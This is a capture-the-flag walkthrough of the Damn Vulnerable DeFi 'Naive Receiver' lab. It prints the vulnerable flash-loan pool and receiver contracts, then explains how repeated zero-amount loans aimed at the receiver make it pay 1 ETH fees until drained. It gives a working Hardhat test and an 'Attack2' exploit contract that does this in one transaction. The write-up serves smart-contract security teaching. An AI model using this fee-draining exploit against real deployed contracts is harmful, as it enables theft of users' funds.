Damn Vulnerable DeFi | 2 - Naive Receiver

Damn Vulnerable DeFi | 2 - Naive Receiver

Exploiting the Naive Receiver: A Lesson in Flash Loan Vulnerabilities

ยท

6 min read

Goals

In the Naive Receiver challenge, we have to drain the user's contract (the receiver address in hardhat) in a single transaction. Note that we do not need to drain the pool, just the 10 ether from the receiver.

See the contracts

The Contracts

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "solady/src/utils/SafeTransferLib.sol";
import "@openzeppelin/contracts/interfaces/IERC3156FlashBorrower.sol";
import "./NaiveReceiverLenderPool.sol";

/**
 * @title FlashLoanReceiver
 * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
 */
contract FlashLoanReceiver is IERC3156FlashBorrower {

    address private pool;
    address private constant ETH = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;

    error UnsupportedCurrency();

    constructor(address _pool) {
        pool = _pool;
    }

    function onFlashLoan(
        address,
        address token,
        uint256 amount,
        uint256 fee,
        bytes calldata
    ) external returns (bytes32) {
        assembly { // gas savings
            if iszero(eq(sload(pool.slot), caller())) {
                mstore(0x00, 0x48f5c3ed)
                revert(0x1c, 0x04)
            }
        }

        if (token != ETH)
            revert UnsupportedCurrency();

        uint256 amountToBeRepaid;
        unchecked {
            amountToBeRepaid = amount + fee;
        }

        _executeActionDuringFlashLoan();

        // Return funds to pool
        SafeTransferLib.safeTransferETH(pool, amountToBeRepaid);

        return keccak256("ERC3156FlashBorrower.onFlashLoan");
    }

    // Internal function where the funds received would be used
    function _executeActionDuringFlashLoan() internal { }

    // Allow deposits of ETH
    receive() external payable {}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/interfaces/IERC3156FlashLender.sol";
import "@openzeppelin/contracts/interfaces/IERC3156FlashBorrower.sol";
import "solady/src/utils/SafeTransferLib.sol";
import "./FlashLoanReceiver.sol";

/**
 * @title NaiveReceiverLenderPool
 * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
 */
contract NaiveReceiverLenderPool is ReentrancyGuard, IERC3156FlashLender {

    address public constant ETH = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
    uint256 private constant FIXED_FEE = 1 ether; // not the cheapest flash loan
    bytes32 private constant CALLBACK_SUCCESS = keccak256("ERC3156FlashBorrower.onFlashLoan");

    error RepayFailed();
    error UnsupportedCurrency();
    error CallbackFailed();

    function maxFlashLoan(address token) external view returns (uint256) {
        if (token == ETH) {
            return address(this).balance;
        }
        return 0;
    }

    function flashFee(address token, uint256) external pure returns (uint256) {
        if (token != ETH)
            revert UnsupportedCurrency();
        return FIXED_FEE;
    }

    function flashLoan(
        IERC3156FlashBorrower receiver,
        address token,
        uint256 amount,
        bytes calldata data
    ) external returns (bool) {
        if (token != ETH)
            revert UnsupportedCurrency();

        uint256 balanceBefore = address(this).balance;

        // Transfer ETH and handle control to receiver
        SafeTransferLib.safeTransferETH(address(receiver), amount);
        if(receiver.onFlashLoan(
            msg.sender,
            ETH,
            amount,
            FIXED_FEE,
            data
        ) != CALLBACK_SUCCESS) {
            revert CallbackFailed();
        }

        if (address(this).balance < balanceBefore + FIXED_FEE)
            revert RepayFailed();

        return true;
    }

    // Allow deposits of ETH
    receive() external payable {}
}

A lot of code again. So let's try not to get overwhelmed and get a better understanding of those contracts.

The Hack

Here is a simplified version of each contract, so we can have a clear view of what is doing what, and what we can mess with.

// Contract 1: request flash loan
contract NaiveReceiverLenderPool is ReentrancyGuard, IERC3156FlashLender {
    uint256 private constant FIXED_FEE = 1 ether;

    function maxFlashLoan(address token) external view returns (uint256) {}
    function flashFee(address token, uint256) external pure returns (uint256) {}
    function flashLoan(
        IERC3156FlashBorrower receiver,
        address token,
        uint256 amount,
        bytes calldata data
    ) external returns (bool) {}
}
// Contract 2: receive flash loan
contract FlashLoanReceiver is IERC3156FlashBorrower {
    function onFlashLoan(
        address,
        address token,
        uint256 amount,
        uint256 fee,
        bytes calldata
    ) external returns (bytes32) {}
}

Much better, right? And let's not forget the receiver address that we have to drain. In other word, we have:

  • a flashloan() function used to request a flashloan;

  • a onFlashLoan() callback function used to interact with the loan once we received the loan;

Not so impressive anymore. We know that we can request up to 1000 ETH, and that each loan will cost us 1 ETH. So let's check the flashloan() function since it is where everything starts:

function flashLoan(
        IERC3156FlashBorrower receiver,
        address token,
        uint256 amount,
        bytes calldata data
    ) external returns (bool) {
        if (token != ETH) revert UnsupportedCurrency();

        uint256 balanceBefore = address(this).balance;

        // Transfer ETH and handle control to receiver
        SafeTransferLib.safeTransferETH(address(receiver), amount);
        if(receiver.onFlashLoan(
            msg.sender,
            ETH,
            amount,
            FIXED_FEE,
            data
        ) != CALLBACK_SUCCESS) {
            revert CallbackFailed();
        }

        if (address(this).balance < balanceBefore + FIXED_FEE)
            revert RepayFailed();

        return true;
    }

Everything seems correct. The function takes 4 parameters:

  1. receiver: the receiver of the loan

  2. token: the requested loaned token (has to be ETH, so we can forget that)

  3. amount: the desired amount (up to 1000 ETH)

  4. data: some data that can be passed to the onFlashLoan() callback

So far, so good. The function prevents us from borrowing anything other than ETH, then checks the balanceBefore before sending the loan, checks that the callback succeeded, and then checks that the repaid amount matches the loan + the fee.

So what if we take a loan? Well, each loan will cost us 1 ETH! We don't really want to do that. However, the receiver has 10 ETH that we have to drain...

If we look at the flashloan() function again, we can see that there is no check for the recipient of the loan and no minimum amount requirement as well. So what if we pass the receiver address as the receiver of a 0 ether flash loan?

Well, the flash loan will succeed and it will have cost 1 ether to the receiver!

Seems like we are now on a good way toward the solution. We can repeat that 10 times, or craft a small contract that will execute a loop for us in a single transaction.

Solution

Let's implement the Naive Receiver solution accordingly.

 it("Execution", async function () {
    /** CODE YOUR SOLUTION HERE */

    // In 10 transactions:
    const ETH = await pool.ETH();
    for (let i = 0; i < 10; i++) {
        await pool.connect(player).flashLoan(receiver.address, ETH, 1n, "0x");
    }  
});

The above solution works fine, but to complete the challenge in a single transaction, we have to craft a smart contract:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.16;

interface IPool {
    function flashLoan(
        address receiver,
        address token,
        uint256 amount,
        bytes calldata data
    ) external returns (bool);
}

contract Attack2 {
    address private immutable pool;
    address private immutable receiver;
    address private constant ETH = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;

    constructor(address _pool, address _receiver) {
        pool = _pool;
        receiver = _receiver;
    }

    function attack() external {
        for (uint256 i = 0; i < 10; ) {
            IPool(pool).flashLoan(receiver, ETH, 0, "");
            unchecked {
                ++i;
            }
        }
    }
}

Note: The unchecked{ ++i; } is just a good gas optimization practice for bounded for loop.

Now, we have to adjust the test file a bit:

it("Execution", async function () {
    /** CODE YOUR SOLUTION HERE */

    // In 10 transactions:
    // const ETH = await pool.ETH();
    // for (let i = 0; i < 10; i++) {
    //   await pool.connect(player).flashLoan(receiver.address, ETH, 1n, "0x");
    // }

    // 1 transaction:
    const Attack2 = await ethers.getContractFactory("Attack2", deployer);
    const attack2 = await Attack2.deploy(pool.address, receiver.address);

    await attack2.attack();
  });

Then we just have to run the test with the following command:

yarn naive-receiver

And we get the following printed in the terminal:

Congrats! You just beat the level 2 of Damn Vulnerable DeFi.

๐ŸŽ‰ Level completed ๐ŸŽ‰

Takeaway

  • Always validate all sensitive inputs before executing any logic.

You can find all the codes, challenges, and their solutions on my GitHub: https://github.com/Pedrojok01/Damn-Vulnerable-Defi-Solutions

ย